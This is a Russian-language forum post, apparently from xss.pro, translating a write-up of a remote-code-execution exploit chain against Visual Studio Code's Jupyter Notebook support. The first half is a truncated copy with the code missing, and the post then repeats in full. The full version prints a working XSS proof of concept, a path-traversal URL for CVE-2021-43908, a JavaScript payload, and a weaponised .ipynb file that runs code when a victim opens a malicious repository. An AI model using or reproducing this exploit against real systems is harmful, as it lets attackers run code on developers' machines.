Перевод: Visual Studio Code Jupyter Notebook RCE для xss.pro кем: Polyglot
В прошлые выходные я потратил несколько часов, чтобы изучить использование этого бага в Visual Studio Code .ipynb Jupyter Notebook, обнаруженным Джастином Стивеном в августе 2021 года.
Джастин обнаружил уязвимость межсайтового скриптинга (XSS), влияющую на встроенную в VSCode поддержку для файлов Jupyter Notebook(.ipynb):
Его анализ подробно описывает проблему и показывает пример-концепцию, которая считывает произвольные файлы с диска, а затем передает их содержимое на удаленный сервер, однако это не полный эксплойт RCE.
В качестве первого шага я взглянул на общий дизайн приложения, чтобы определить конфигурацию каждого
При содействии ElectroNG видим, что приложение использует одно
Этот
К сожалению, наша инъекция происходит во вложенном изолированном iframe, как показано на следующей диаграмме:
В частности, iframe нашей песочницы создается с использованием следующих атрибутов:
По умолчанию
Благодаря атрибуту
Пока содержимое, загруженное в веб-представление, также размещается в локальной файловой системе (в папке приложения), мы можем получить доступ к
При этом мы можем просто выполнить код, используя что-то вроде
Итак, как нам разместить наш произвольный HTML/JS-контент в папке установки приложения?
В качестве альтернативы, можем ли мы ссылаться на ресурсы за пределами этой папки?
Ответ мы найдем в недавней презентации, которую я смотрел на последних брифингах Black Hat USA 2022.
При использовании CVE-2021-43908 TheGrandPew и s1r1us используют обход пути для загрузки произвольных файлов вне пути установки VSCode.
Подобно их эксплойту, мы можем попытаться использовать ответ
На самом деле наша полезная нагрузка может быть помещена во вредоносный репозиторий вместе с файлом Jupyter Notebook, запускающим XSS.
После пары часов проб и ошибок я обнаружил, что мы можем получить ссылку на тег
На этом все ингредиенты готовы, и я наконец могу собрать окончательный эксплойт.
Чтобы доставить эту полезную нагрузку в файле
Внедрение происходит в файле JSON (в двойных кавычках), а наша полезная нагрузка Javascript тоже содержит строки в кавычках, используемые в качестве разделителя для регулярного выражения, извлекающего путь.
После небольшой переделки самое простое решение включает символ обратной кавычки "`" вместо обычных кавычек для всех строк JS.
Окончательный файл
Открыв вредоносный репозиторий с этим файлом, мы, наконец, можем инициировать выполнение нашего кода.
Видео всего процесса
В прошлые выходные я потратил несколько часов, чтобы изучить использование этого бага в Visual Studio Code .ipynb Jupyter Notebook, обнаруженным Джастином Стивеном в августе 2021 года.
Джастин обнаружил уязвимость межсайтового скриптинга (XSS), влияющую на встроенную в VSCode поддержку для файлов Jupyter Notebook(.ipynb):
Код:
{
"cells": [
{
"cell_type": "code",
"execution_count": null,
"source": [],
"outputs": [
{
"output_type": "display_data",
"data": {"text/markdown": "<img src=x onerror='console.log(1)'>"}
}
]
}
]
}
Его анализ подробно описывает проблему и показывает пример-концепцию, которая считывает произвольные файлы с диска, а затем передает их содержимое на удаленный сервер, однако это не полный эксплойт RCE.
Учитывая наше внимание к ElectronJ (и многим другим веб-технологиям), я решил изучить потенциальные места эксплуатации.Я не смог найти способ использовать этот примитив XSS для выполнения произвольного кода, но кто-то, более опытный в эксплуатации Electron, может это сделать.
В качестве первого шага я взглянул на общий дизайн приложения, чтобы определить конфигурацию каждого
BrowserWindow/BrowserView/Webview, используемого VScode.При содействии ElectroNG видим, что приложение использует одно
BrowserWindow с nodeIntegration:on.
Этот
BrowserWindow загружает содержимое используя протокол vscode-file, который аналогичен файловому протоколу.К сожалению, наша инъекция происходит во вложенном изолированном iframe, как показано на следующей диаграмме:
В частности, iframe нашей песочницы создается с использованием следующих атрибутов:
allow-scripts allow-same-origin allow-forms allow-pointer-lock allow-downloadsПо умолчанию
sandbox заставляет браузер рассматривать iframe так, как будто он исходит из другого источника, даже если его src указывает на тот же сайт.Благодаря атрибуту
allow-same-origin это ограничение снимается.Пока содержимое, загруженное в веб-представление, также размещается в локальной файловой системе (в папке приложения), мы можем получить доступ к
top окну.При этом мы можем просто выполнить код, используя что-то вроде
top.require('child_process').exec('open /System/Applications/Calculator.app');Итак, как нам разместить наш произвольный HTML/JS-контент в папке установки приложения?
В качестве альтернативы, можем ли мы ссылаться на ресурсы за пределами этой папки?
Ответ мы найдем в недавней презентации, которую я смотрел на последних брифингах Black Hat USA 2022.
При использовании CVE-2021-43908 TheGrandPew и s1r1us используют обход пути для загрузки произвольных файлов вне пути установки VSCode.
Код:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html
Подобно их эксплойту, мы можем попытаться использовать ответ
postMessage для предоставления доступа к текущему пользовательскому каталогу.На самом деле наша полезная нагрузка может быть помещена во вредоносный репозиторий вместе с файлом Jupyter Notebook, запускающим XSS.
После пары часов проб и ошибок я обнаружил, что мы можем получить ссылку на тег
img, запускающий XSS, исполняя код во время события onload.
На этом все ингредиенты готовы, и я наконец могу собрать окончательный эксплойт.
Код:
var apploc = '/Applications/Visual Studio Code.app/Contents/Resources/app/'.replace(/ /g, '%20');
var repoloc;
window.top.frames[0].onmessage = event => {
if(event.data.args.contents && event.data.args.contents.includes('<base href')){
var leakloc = event.data.args.contents.match('<base href=\"(.*)\"')[1];
var repoloc = leakloc.replace('https://file%2B.vscode-resource.vscode-webview.net','vscode-file://vscode-app'+apploc+'..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..');
setTimeout(async()=>console.log(repoloc+'poc.html'), 3000)
location.href=repoloc+'poc.html';
}
};
window.top.postMessage({target: window.location.href.split('/')[2],channel: 'do-reload'}, '*');
Чтобы доставить эту полезную нагрузку в файле
.ipynb, нам все еще нужно преодолеть одно последнее ограничение: текущая реализация приводит к искаженному JSON.Внедрение происходит в файле JSON (в двойных кавычках), а наша полезная нагрузка Javascript тоже содержит строки в кавычках, используемые в качестве разделителя для регулярного выражения, извлекающего путь.
После небольшой переделки самое простое решение включает символ обратной кавычки "`" вместо обычных кавычек для всех строк JS.
Окончательный файл
pocimg.ipynb выглядит так:
Код:
{
"cells": [
{
"cell_type": "code",
"execution_count": null,
"source": [],
"outputs": [
{
"output_type": "display_data",
"data": {"text/markdown": "<img src='a445fff1d9fd4f3fb97b75202282c992.png' onload='var apploc = `/Applications/Visual Studio Code.app/Contents/Resources/app/`.replace(/ /g, `%20`);var repoloc;window.top.frames[0].onmessage = event => {if(event.data.args.contents && event.data.args.contents.includes(`<base href`)){var leakloc = event.data.args.contents.match(`<base href=\"(.*)\"`)[1];var repoloc = leakloc.replace(`https://file%2B.vscode-resource.vscode-webview.net`,`vscode-file://vscode-app`+apploc+`..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..`);setTimeout(async()=>console.log(repoloc+`poc.html`), 3000);location.href=repoloc+`poc.html`;}};window.top.postMessage({target: window.location.href.split(`/`)[2],channel: `do-reload`}, `*`);'>"}
}
]
}
]
}
Открыв вредоносный репозиторий с этим файлом, мы, наконец, можем инициировать выполнение нашего кода.
Видео всего процесса
Последнее редактирование: